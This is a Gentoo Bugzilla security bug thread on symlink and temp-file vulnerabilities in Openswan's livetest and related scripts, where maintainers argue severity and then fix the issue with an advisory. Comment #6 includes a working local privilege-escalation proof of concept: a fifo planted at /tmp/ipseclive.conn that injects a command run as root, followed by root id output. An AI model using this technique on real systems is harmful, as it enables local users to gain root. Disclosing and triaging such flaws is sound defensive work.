First Last Prev Next    No search results available      Search page      Enter new bug
Bug#: 238574
Alias:
Product:
Component:
Status: RESOLVED
Resolution: FIXED
Assigned To: Gentoo Security <security@gentoo.org>
Hardware:
OS:
Version:
Priority:
Severity:
Reporter: Robert Buchholz <rbu@gentoo.org>
Add CC:
CC:
Remove selected CCs
URL:
Summary:
Status Whiteboard:
Keywords:
Flags: Requestee:
 
 
  ()

Filename Description Type Creator Created Size Actions
livetest livetest script took from version 2.6.16 text/plain Alin Năstac 2008-10-12 21:48 0000 1.79 KB Details
Create a New Attachment (proposed patch, testcase, etc.) View All

Bug 238574 depends on: Show dependency tree
Bug 238574 blocks: 235770

Additional Comments: (this is where you put emerge --info)


Not eligible to see or edit group visibility for this bug.






View Bug Activity   |   Format For Printing   |   XML   |   Clone This Bug


Description:   Opened: 2008-09-24 15:41 0000
CVE-2008-4190 (http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-4190):
  The IPSEC livetest tool in Openswan 2.4.4 and earlier allows local
  users to overwrite arbitrary files and execute arbitrary code via a
  symlink attack on the (1) ipseclive.conn and (2)
  ipsec.olts.remote.log temporary files.

------- Comment #1 From Alin Năstac 2008-09-24 22:26:01 0000 -------
Version 2.4.4 is quite ancient. Currently the oldest version available in our
tree is 2.4.11.

------- Comment #2 From Robert Buchholz 2008-09-24 22:43:09 0000 -------
I did not verify, but it is well possible that version is also affected. If you
can, please help there.

------- Comment #3 From Alin Năstac 2008-10-12 16:47:32 0000 -------
I've removed this useless livetest script from versions 2.4.13-r1 and 2.6.18.

However, I doubt it is a valid security issue because:
  a) cannot be triggered remotely
  b) the host known as 192.168.0.1 by local machine must be controlled by the
attacker (or at least its web service)
  c) you need to trick the root user into running "ipsec livetest"

------- Comment #4 From Stefan Behte 2008-10-12 20:16:13 0000 -------
It is extremely unlikely that this will ever be exploited in the wild, but it's
still a security issue (though a rather theoretical one).

------- Comment #5 From Alin Năstac 2008-10-12 21:48:21 0000 -------
Created an attachment (id=168208) [details]
livetest script took from version 2.6.16

I'm not saying that the insecure temp file handling is a non-issue, I'm just
saying this particular case is a non-issue. Let's analyse this script, shall
we?

a) Since openswan daemon will not run this in any circumstance, this script
must be executed by the user, through "ipsec livetest" command. However, the
first thing that the script will do is identity checking through command "id
-u"; if you are not root, it will do nothing.

b) Let's suppose you can trick user into running that command. wget will not
override the output file, instead it will add a numeric suffix to the provided
-O argument, in order to save the content into a new file.

c) What indeed is possible is that a local user could create a malicious /tmp
/ipseclive.conn script and wait patiently for the superuser to run the
livetest. But since this command is not documented anywhere (let alone that is
pretty useless without the proper web application running on 192.168.0.1), I
doubt it will ever do that.

------- Comment #6 From Stefan Behte 2008-11-07 03:16:11 0000 -------
This is a potentional root exploit:

As user:
mkfifo /tmp/ipseclive.conn
cat /tmp/ipseclive.conn; echo id > /tmp/ipseclive.conn

Then, on an other terminal:
wget "https://bugs.gentoo.org/attachment.cgi?id=168208" -O livetest

Forgive the output, I do not have ipsec installed on this box:

[craig@nuw ~]$ sudo sh livetest
ikeping......
would do ikeping
livetest: line 32: ipsec: command not found
livetest: line 35: ipsec: command not found
uid=0(root) gid=0(root)
Gruppen=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video),35(games),414(vmware)
livetest: line 42: ipsec: command not found
livetest: line 44: ipsec: command not found

cat waits for the input from wget to the fifo and after it received it, you
immediately echo your command into the fifo which was empty again and viola, it
gets executed, because the sh binary needs a few milliseconds to get loaded,
it's a typical race condition.

You're right of course, it's very unlikely to be exploited, because you need a
local account and must trick root into running the script, but in my opinion
it's still a minor security issue.

------- Comment #7 From Stefan Behte 2008-11-07 22:08:49 0000 -------
CVE-2008-4966 (http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-4966):
  linux-patch-openswan 2.4.12 allows local users to overwrite arbitrary
  files via a symlink attack on (a) /tmp/snap##### and (b)
  /tmp/nightly##### temporary files, related to the (1) maysnap and (2)
  maytest scripts.

------- Comment #8 From Stefan Behte 2008-11-07 22:11:56 0000 -------
Let's handle that bug here, too.

------- Comment #9 From Stefan Behte 2008-12-01 18:03:40 0000 -------
Alin, was this fixed in 2.4.13-r1?

------- Comment #10 From Alin Năstac 2008-12-03 23:00:55 0000 -------
(In reply to comment #6)

I didn't said it cannot be exploited locally, I said it is highly unlikely
(like one case in a billion, when the victim really doesn't know what he is
doing) that someone will get bitten by this bug (see comment #5 point c). 

(In reply to comment #7 to #9)
> Alin, was this fixed in 2.4.13-r1?

openswan-2.6.13-r1 doesn't install any file called mysnap or mytest.

------- Comment #11 From Stefan Behte 2009-01-08 23:44:23 0000 -------
Thanks! :)
Ready to vote, I vote NO.

------- Comment #12 From Robert Buchholz 2009-01-08 23:55:21 0000 -------
Shouldn't this be B2 if it allows an attacker to trick someone into executing
code?

------- Comment #13 From Stefan Behte 2009-01-09 00:13:21 0000 -------
D'oh. Of course.
I just read the topic, scrolled down fast, saw "symlink", the CVE, B3... forgot
about and overread the code exec.

Good to see other people are watching...

Changing whiteboard accordingly and going to bed in order not create more
fuckup on bugzilla (at least) this night... ;(

------- Comment #14 From Pierre-Yves Rofes 2009-01-11 18:17:35 0000 -------
request filed.

------- Comment #15 From Robert Buchholz 2009-03-09 13:59:15 0000 -------
GLSA 200903-17

------- Comment #16 From Robert Buchholz 2009-03-09 13:59:44 0000 -------
sorry, GLSA 200903-18

First Last Prev Next    No search results available      Search page      Enter new bug